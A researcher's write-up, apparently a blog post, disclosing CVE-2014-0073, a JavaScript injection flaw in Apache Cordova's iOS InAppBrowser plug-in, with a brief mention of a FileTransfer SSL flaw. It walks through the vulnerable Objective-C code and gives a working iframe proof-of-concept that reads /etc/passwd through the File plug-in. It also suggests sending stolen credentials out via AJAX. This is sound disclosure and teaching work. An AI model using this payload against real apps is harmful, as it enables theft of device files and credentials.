Earlier this year, I identified an interesting vulnerability (CVE-2014-0073) in one of Apache Cordova’s core plug-ins (InAppBrowser). Cordova, also sometimes referred to as PhoneGap, is a popular cross-platform mobile framework that allows developers to write mobile applications in JavaScript and HTML. The JavaScript and HTML code executes within the Cordova WebView and has access to native functionality via a set of plug-ins that is exposed by a JavaScript bridge. How this bridge is implemented varies across the supported platforms such as Android, iOS, Windows Phone, and BlackBerry.

Since the Cordova WebView exposes native functionality to JavaScript, loading any sort of untrusted code into this WebView is a generally a bad idea. If a developer wants to load untrusted web content into their Cordova-based application, then they will use the InAppBrowser plug-in instead. According to the API documentation, “the InAppBrowser window behaves like a standard web browser, and can’t access Cordova APIs.” In order to load a website into the InAppBrowser plug-in a developer can use the following JavaScript code. Note that the target argument is set to _blank.

window.open('http://evil.com', '_blank', 'location=yes');

Since the InAppBrowser is designed to load untrusted code, it seemed like an interesting component to review. I’ll focus on the iOS implementation, because the vulnerability I identified was specific to the iOS implementation. The CDVInAppBrowser class acts as a UIWebViewDelegate and overrides the webView:shouldStartLoadWithRequest:navigationType: method in order to intercept page loads within the plug-in’s WebView. Overriding this method is commonly performed within iOS applications since developers often want to define a custom URI schemes within a WebView. By reviewing the following Objective-C code from the InAppBrowser plug-in, it is clear that the plug-in defines a gap-iab URI scheme in order to pass back information to the trusted Cordova WebView via a callback function.

- (BOOL)webView:(UIWebView*)theWebView shouldStartLoadWithRequest:(NSURLRequest*)request navigationType:(UIWebViewNavigationType)navigationType
{
    NSURL* url = request.URL;
    BOOL isTopLevelNavigation = [request.URL isEqual:[request mainDocumentURL]];

    // See if the url uses the 'gap-iab' protocol. If so, the host should be the id of a callback to execute,
    // and the path, if present, should be a JSON-encoded value to pass to the callback.
    if ([[url scheme] isEqualToString:@"gap-iab"]) {
        NSString* scriptCallbackId = [url host];
        CDVPluginResult* pluginResult = nil;

        if ([scriptCallbackId hasPrefix:@"InAppBrowser"]) {
            NSString* scriptResult = [url path];
            NSError* __autoreleasing error = nil;

            // The message should be a JSON-encoded array of the result of the script which executed.
            if ((scriptResult != nil) && ([scriptResult length] > 1)) {
                scriptResult = [scriptResult substringFromIndex:1];
                NSData* decodedResult = [NSJSONSerialization JSONObjectWithData:[scriptResult dataUsingEncoding:NSUTF8StringEncoding] options:kNilOptions error:&error];
                if ((error == nil) && [decodedResult isKindOfClass:[NSArray class]]) {
                    pluginResult = [CDVPluginResult resultWithStatus:CDVCommandStatus_OK messageAsArray:(NSArray*)decodedResult];
                } else {
                    pluginResult = [CDVPluginResult resultWithStatus:CDVCommandStatus_JSON_EXCEPTION];
                }
            } else {
                pluginResult = [CDVPluginResult resultWithStatus:CDVCommandStatus_OK messageAsArray:@[]];
            }
            [self.commandDelegate sendPluginResult:pluginResult callbackId:scriptCallbackId];
            return NO;
        }

For example, the following URL loaded into the InAppBrowser’s WebView would trigger the functionality.

gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']

And then the following callback function will be executed in the Cordova WebView. If we can inject in additional JavaScript in this context, then we can access native phone APIs exposed via other plug-ins.

InAppBrowser85943(1, ['some','data','in','a','json','array']);

So far we know the following.

  • The CDVInAppBrowser acts as a UIWebViewDelegate, intercepts page loads via shouldStartLoadWithRequest method, and defines a custom URI scheme (gap-iab).
  • The domain ([url host]) must start with InAppBrowser, conform to RFC 1808, and is used as callback identifier. Note the weakness in this input validation, the callback identifier must only start with “InAppBrowser” and we can bypass the other character restrictions by simply URL encoding the payload.
  • The rest of the URL is treated as a JSON array ([url path]). Technically, we also control this, but injecting in code here will cause a serialization error.
  • The callback identifier and JSON array is passed to the CDVCommandDelegate’s sendPluginResult method.

The sendPluginResult method builds the actual callback JavaScript code using an Objective-C format string method and passes the JavaScript to the evalJsHelper method. Basically, the JavaScript will be put on a queue for later execution within the Cordova WebView.

- (void)sendPluginResult:(CDVPluginResult*)result callbackId:(NSString*)callbackId
{
    CDV_EXEC_LOG(@"Exec(%@): Sending result. Status=%@", callbackId, result.status);
    // This occurs when there is are no win/fail callbacks for the call.
    if ([@"INVALID" isEqualToString : callbackId]) {
        return;
    }
    int status = [result.status intValue];
    BOOL keepCallback = [result.keepCallback boolValue];
    NSString* argumentsAsJSON = [result argumentsAsJSON];

    NSString* js = [NSString stringWithFormat:@"cordova.require('cordova/exec').nativeCallback('%@',%d,%@,%d)", callbackId, status, argumentsAsJSON, keepCallback];

    [self evalJsHelper:js];
}

Given that the attacker partially controls the callback identifier, we can simply break out of the JavaScript string enclosed in single quotes and inject in additional JavaScript code. The impact of this vulnerability depends on which plug-ins have been included into the target Cordova application. For example, the following example exploit, loaded into the InAppBrowser plug-in, demonstrates that we can use the Cordova File plug-in to read from a file on the mobile device, which shouldn’t be possible. A more realistic example might involve reading from a file that contains sensitive data, such as a SQLite database that contains authentication credentials, and then sending this information to the attacker via an AJAX call or via the FileTransfer plug-in.

<html>                                                                                        
  <body>                                                                                
    <iframe src="gap-iab://InAppBrowser'-eval('window.requestFileSystem(LocalFileSystem.PERSISTENT,0,function(fs){fs.root.getFile(%5C%27..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%5C%27,null,function(fe){fe.file(function(fi){var%20r=new%20FileReader();r.onloadend=function(e){alert(e.target.result);};r.readAsText(fi);},function(e){})},function(e){});},function(e){});')-'.com"></iframe>                                                                             
  </body>                                                                               
</html> 

In order to fix the vulnerability, Apache developers added additional input validation within the CDVInAppBrowser and CDVComandDelegate classes to prevent JavaScript injection. Simple fix. I also identified another vulnerability (CVE-2014-0072) in the FileTransfer plug-in implementation on iOS. Basically, the SSL certificate verification and validation was disabled by default unless the trustAllHosts argument was explicitly set to true by the developer.

Given that it is common to encounter Cordova/PhoneGap applications that use older versions of the framework, and plug-ins, these vulnerabilities might stick around for awhile, but the important point to make here is that the specific plug-ins used within a Cordova application can have a large impact on security. Besides the core plug-ins, developers often graft together mobile applications using third-party plug-ins, which may introduce additional security vulnerabilities. Luckily most of the plug-ins are open source and available on GitHub, so we can easily review them for security issues.